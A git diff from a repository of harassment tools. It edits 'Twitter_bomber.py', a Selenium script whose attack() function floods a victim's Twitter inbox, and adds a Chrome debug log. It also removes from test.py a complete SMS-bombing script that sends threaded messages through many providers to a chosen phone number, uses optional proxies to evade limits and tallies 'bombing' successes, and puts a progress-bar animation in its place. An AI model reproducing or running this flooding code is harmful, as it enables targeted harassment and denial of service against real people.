diff --git a/Twitter_bomber.py b/Twitter_bomber.py index 29c8457..4ebbd3d 100644 --- a/Twitter_bomber.py +++ b/Twitter_bomber.py @@ -6,6 +6,7 @@ from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.common.by import By from selenium.webdriver.support import expected_conditions as EC import time +import sys from selenium.webdriver.chrome.options import Options @@ -69,7 +70,6 @@ def attack(): ## GET MESSAGE INBOX ### messageLink = driver.find_element_by_xpath('//*[@id="react-root"]/div/div/div[2]/main/div/div/div/div[1]/div/div[2]/div/div/div[1]/div/div[1]/div/div[2]') messageLink.click() - driver.minimize_window() #### SEND MESSAGE IN VICTIMS INBOX ### diff --git a/debug.log b/debug.log new file mode 100644 index 0000000..26901fa --- /dev/null +++ b/debug.log @@ -0,0 +1,4 @@ +[0929/005058.248:ERROR:process_reader_win.cc(123)] NtOpenThread: {Access Denied} A process has requested access to an object, but has not been granted those access rights. (0xc0000022) +[0929/005058.253:ERROR:process_reader_win.cc(123)] NtOpenThread: {Access Denied} A process has requested access to an object, but has not been granted those access rights. (0xc0000022) +[0929/005058.595:ERROR:exception_snapshot_win.cc(99)] thread ID 17208 not found in process +[0929/005058.596:ERROR:exception_snapshot_win.cc(99)] thread ID 22040 not found in process diff --git a/test.py b/test.py index 9c485af..aeeed4d 100644 --- a/test.py +++ b/test.py @@ -1,99 +1,14 @@ - -#!/usr/bin/python3 - -import requests -import argparse -from concurrent.futures import ThreadPoolExecutor -import json +import sys import time -from Provider import Provider -# args +print("Loading:") -parser = argparse.ArgumentParser() -parser.add_argument('target', metavar='TARGET', type=lambda value: (_ for _ in ()).throw(argparse.ArgumentTypeError(f'{value} is an invalid mobile number')) if len(value) != 10 else value, - help='Target mobile number without country code') -parser.add_argument('--sms', '-S', type=int, - help='Number of sms to target (default: 20)', default=20) -parser.add_argument('--country', '-c', type=int, - help='Country code without (+) sign (default: 91)', default=91) -parser.add_argument('--threads', '-T', type=int, - help='Max number of concurrent HTTP(s) requests (default: 20)', default=20) -parser.add_argument('--proxy', '-p', action='store_true', - help='Use proxy for bombing (It is advisable to use this option if you are bombing more than 50 sms)') -parser.add_argument('--verbose', '-v', action='store_true', - help='Verbose') -parser.add_argument('--verify', '-V', action='store_true', - help='To verify all providers are working or not') -args = parser.parse_args() +#animation = ["10%", "20%", "30%", "40%", "50%", "60%", "70%", "80%", "90%", "100%"] +animation = ["[■□□□□□□□□□]","[■■□□□□□□□□]", "[■■■□□□□□□□]", "[■■■■□□□□□□]", "[■■■■■□□□□□]", "[■■■■■■□□□□]", "[■■■■■■■□□□]", "[■■■■■■■■□□]", "[■■■■■■■■■□]", "[■■■■■■■■■■]"] -# config loading -target = str(args.target) -no_of_threads = args.threads -no_of_sms = args.sms -fails, success = 0, 0 -not args.verbose and not args.verify and print( - f'Target: {target} | Threads: {no_of_threads} | SMS: {no_of_sms}') +for i in range(len(animation)): + time.sleep(0.2) + sys.stdout.write("\r" + animation[i % len(animation)]) + sys.stdout.flush() -# proxy setup -# https://gimmeproxy.com/api/getProxy?curl=true&protocol=http&supportsHttps=true - - -def get_proxy(): - args.verbose and print('Gethering proxy...') - curl = requests.get( - 'https://gimmeproxy.com/api/getProxy?curl=true&protocol=http&supportsHttps=true').text - if 'limit' in curl: - print('Proxy limitation error. Try without `-p` or `--proxy` argument') - exit() - args.verbose and print(f'Using Proxy: {curl}') - return {"http": curl, "https": curl} - - -proxies = get_proxy() if args.proxy else False -# proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} - -# bomber function - - -def bomber(p): - global fails, success, no_of_sms - if not args.verify and p is None or success > no_of_sms: - return - elif not p.done: - try: - p.start() - if p.status(): - success += 1 - else: - fails += 1 - except: - fails += 1 - args.verbose or args.verify and print( - '{:12}: error'.format(p.config['name'])) - not args.verbose and not args.verify and print( - f'Bombing : {success+fails}/{no_of_sms} | Success: {success} | Failed: {fails}', end='\r') - - -# threadsssss -start = time.time() -if args.verify: - providers = json.load(open('config.json', 'r'))['providers'] - pall = [p for x in providers.values() for p in x] - with ThreadPoolExecutor(max_workers=len(pall)) as executor: - for config in pall: - executor.submit(bomber, Provider(target, proxy=proxies, - verbose=True, cc=str(args.country), config=config)) - print(f'Total {len(pall)} providers available') -else: - with ThreadPoolExecutor(max_workers=no_of_threads) as executor: - for i in range(no_of_sms): - p = Provider(target, proxy=proxies, - verbose=args.verbose, cc=str(args.country)) - executor.submit(bomber, p) -end = time.time() - - -# finalize -print(f'\nSuccess: {success} | Failed: {fails}') -print(f'Took {end-start:.2f}s to complete') \ No newline at end of file +print("\n") \ No newline at end of file